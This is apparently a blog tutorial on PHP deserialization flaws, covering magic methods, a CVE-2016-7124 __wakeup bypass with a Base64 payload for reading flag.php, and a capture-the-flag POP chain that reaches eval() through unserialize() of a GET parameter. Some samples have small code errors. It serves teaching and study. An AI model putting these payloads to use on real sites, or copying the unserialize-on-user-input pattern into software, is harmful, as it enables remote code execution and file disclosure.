← Back to all posts
Code Audit10 min read

PHP Deserialization Vulnerability Analysis and Research

An analysis of PHP serialization, deserialization object injection, magic methods, CVE-2016-7124, and the construction and exploitation of POP chains.

#Web#Vulnerability Reproduction and Analysis
Read in Chinese→

PHP Deserialization Vulnerability Analysis and Research

What Is PHP Serialization?

serialize() // Converts an object into a string
unserialize() // Restores a string to an object

Serialization: Converts a PHP value into a string that can be stored or transmitted, with the goal of preserving its structure and data types.

Deserialization: The reverse of serialization. It converts the string back into the original PHP variable so that it can be used.

Simply put, it involves the two PHP functions serialize and unserialize.

Serialization and deserialization make it easy to transfer objects in PHP. Deserialization itself is not inherently harmful. However, if users can control the data, they can construct deserialization payloads to launch attacks.

Prerequisite Knowledge

Serialization Example

<?php
    class testclass
    {
        private $flag = "flag{233}";
        public $name = "baba";
        public $age = "18";

        function Info()
        {
            echo '输出'.$this->name.' '.$this->age;
        }
    }

    $test = new testclass();
    $test->name = 'zhaibaba';
    $test ->age ='18';
    echo "\n";
    echo $test->Info();
    echo "\n";
    echo "\n";
    $data = serialize($test);
    echo "序列化\n";
    echo $data;
    echo "\n";

Output
Outputs zhaibaba 18

Serialized value
O:9:“testclass”:3:{s:15:” testclass flag”;s:9:“flag{233}”;s:4:“name”;s:8:“zhaibaba”;s:3:“age”;s:2:“18”;}

O:9:"testclass" represents an Object with 9 characters in its name: testclass
:3 indicates that the object has 3 properties
{} contains the number of characters in the property and the property value
s:15:" testclass flag" is of the string type. A private property includes the class name, while a public property includes only the property name

The public access level is the standard variable access level. Variables are generally declared public by default.
The protected access level is private access: the variable can only be used within the class, but subclasses can inherit it.
The private access level is even more restrictive than protected: the variable can only be used within the current class and cannot be inherited by subclasses.

Deserialization Example

	$un = unserialize($data);
    # $un = unserialize('O:9:"testclass":2:{s:4:"name";s:8:"zhaibaba";s:3:"age";s:2:"18";}');
    echo "反序列化\n";
    var_dump($un);
```It has been deserialized into an object.  
![在这里插入图片描述](/images/20200103114111631.png)

# Magic Methods

> Magic methods are PHP methods whose names begin with two underscores (\_\_). Their names are predefined by PHP, and they are called magic methods  
> because they do not need to be invoked explicitly; instead, they are triggered under specific conditions.

When exploiting PHP deserialization, magic methods are often involved. You can inspect these methods for sensitive operations that may be exploitable.```php
常见方法
__constuct: 构建对象的时被调用

__destruct: 明确销毁对象或脚本结束时被调用

__wakeup: 当使用unserialize时被调用,可用于做些对象的初始化操作

__sleep: 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用

__call: 调用不可访问或不存在的方法时被调用

__callStatic: 调用不可访问或不存在的静态方法时被调用

__set: 当给不可访问或不存在属性赋值时被调用

__get: 读取不可访问或不存在属性时被调用

__isset: 对不可访问或不存在的属性调用isset()或empty()时被调用

__unset: 对不可访问或不存在的属性进行unset时被调用

__invoke: 当以函数方式调用对象时被调用

__toString: 当一个类被转换成字符串时被调用

__clone: 进行对象clone时被调用,用来调整对象的克隆行为

__debuginfo: 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本

__set_state: 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值

Important Methods

__sleep()

The serialize() function checks whether the class contains a magic method named __sleep(). If it exists, the method is called before serialization is performed. This feature can be used to clean up the object and return an array containing the names of all object variables that should be serialized. If the method does not return anything, NULL is serialized and an E_NOTICE-level error is generated.

It is triggered before an object is serialized. It returns the member properties that need to be serialized and stored, removing unnecessary properties.

__wakeup()

unserialize() checks whether a __wakeup() method exists. If it does, the __wakeup
method is called first to prepare the resources required by the object.

It prepares object resources in advance and returns void. It is commonly used during deserialization to reestablish database connections or perform other initialization operations.

<?php 
class Caiji{
    public function __construct($ID, $sex, $age){
        $this->ID = $ID;
        $this->sex = $sex;
        $this->age = $age;
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }

    public function getInfo(){
        echo $this->info . '<br>';
    }
    /**
     * serialize前调用 用于删选需要被序列化存储的成员变量
     * @return array [description]
     */
    public function __sleep(){
        echo __METHOD__ . '<br>';
        return ['ID', 'sex', 'age'];
    }
    /**
     * unserialize前调用 用于预先准备对象资源
     */
    public function __wakeup(){
        echo __METHOD__ . '<br>';
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }
}

$me = new Caiji('twosmi1e', 20, 'male');

$me->getInfo();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';

$me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo();

?>
```Result  
![在这里插入图片描述](/images/20200103135151309.png)

**\_\_toString\(\)**```
__toString() 方法用于一个类被当成字符串时应怎样回应。
例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,
否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

Simply put, this method is called automatically when an object is represented as a string.

<?php
class Caiji{
    public function __construct($ID, $sex, $age){
        $this->ID = $ID;
        $this->sex = $sex;
        $this->age = $age;
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }

    public function __toString(){
        return $this->info;
    }
}

$me = new Caiji('zhaibaba', 20, 'male');
echo '__toString:'. '<br>';
echo $me.'<br>';

```Result  
![在这里插入图片描述](/images/20200103141055940.png)

# Deserialization Object Injection

## Bypassing the \_\_wakeup\(\) Method```php
<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }

 ?> #<!--key in flag.php-->
```Analyzing the source code, `__destruct方法中show_source(dirname (__FILE__).'/'.$this \->file);` reads the contents of the file specified by `file`. We need to use this to read flag.php. The general approach is to construct a serialized object, Base64-encode it, and pass it in. After unserialize sets `file` to flag.php, `但是__wakeup会在unserialize之前执行,所以要绕过这一点。`

**This requires the CVE-2016-7124 vulnerability. When the value representing the number of object properties in a serialized string is greater than the actual number of properties, execution of \_\_wakeup is skipped.**

Construct the serialized object: O:5:“SoFun”:**1**:\{S:7:"\\00\*\\00file";s:8:“flag.php”;\}  
Bypass \_\_wakeup: O:5:“SoFun”:**2**:\{S:7:"\\00\*\\00file";s:8:“flag.php”;\}

Note: Because `file` is a protected property, \\00\*\\00 must be added. Then Base64-encode it.  
Payload: Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

# Constructing a POP Chain

## POP: Property-Oriented Programming

Property-Oriented Programming is a method used to construct specific call chains in high-level languages. Its principles are similar to Return-Oriented Programming in binary exploitation: both involve finding a series of existing code or instruction calls in the current runtime environment and arranging them into a continuous call chain as required. Once the execution flow of the code or program is controlled, this call chain can be used to perform certain operations.

## Basic Concepts

In binary exploitation, constructing a ROP chain involves finding instruction sequences that already exist in the current system or memory environment, have fixed addresses, and include return operations. Constructing a POP chain instead involves finding properties or function methods in objects that are already defined or can be dynamically loaded in the program’s current environment, then combining possible calls to form a complete, purpose-built operation.  
In binaries, control over the instruction execution flow is usually obtained through a memory overflow. Deserialization is one way to control code execution flow, provided that the data being deserialized can be controlled through user input.

## POP Chain Exploitation

Exploitable vulnerabilities in typical serialization attacks usually appear in PHP magic methods because they are triggered automatically. However, the critical code may instead be located in an ordinary method of a class. In this situation, a POP chain can be constructed by finding identical function names and linking class properties to properties associated with sensitive functions.

## Exercise```php
<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public $zhaibaba;
    public function get_flag()
    {
        eval($this->zhaibaba);
    }
}
$a = $_GET['string'];
unserialize($a);
?>

As shown, the get_flag() function in the GetFlag class must be executed. This is an ordinary class method. A POP chain must be constructed to execute it.

  1. The __tostring method in string1 contains $this->str1->get_flag(). To invoke __tostring() automatically, the string1 class must be used as a string. Because the method of the str1 parameter is called, str1 must be assigned an object of the GetFlag class.
  2. The __invoke method in the func class performs string concatenation. The func object must be used as a function to invoke __invoke automatically, and mod1 must be assigned an object of the string1 class and concatenated with mod2.
  3. A function call is found in funct. mod1 must be assigned an object of the func class. Because the function call occurs in the __call method and the argument is $test2, the __call method is invoked automatically when the test2 method cannot be called.
  4. The test1 method in Call contains $this->mod1->test2();. mod1 must be assigned an object of the funct class so that __call is invoked automatically.
  5. Search for where the test1 method is called. $this->mod1->test1(); is found in start_gg. Assign mod1 an object of the start_gg class and wait for __destruct() to be invoked automatically.

Payload:

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();//把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();//把 $mod1赋值为funct类对象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();//把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();//把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $zhaibaba;
    public function __construct()
    {
        $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对
        $this->str1->zhaibaba = 'phpinfo();';
    }
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public $zhaibaba;
    public function get_flag()
    {
        1;
    }
}


$payload = new start_gg();
echo urlencode(serialize($payload));


#

To summarize the approach to discovering PHP deserialization vulnerabilities: first, the data being deserialized must be user-controllable. The deserialized class must then contain a magic method with a sensitive operation. Alternatively, if the magic method does not contain a sensitive operation but its object invokes a same-named function in another class, the vulnerability may be exploited by constructing a POP chain.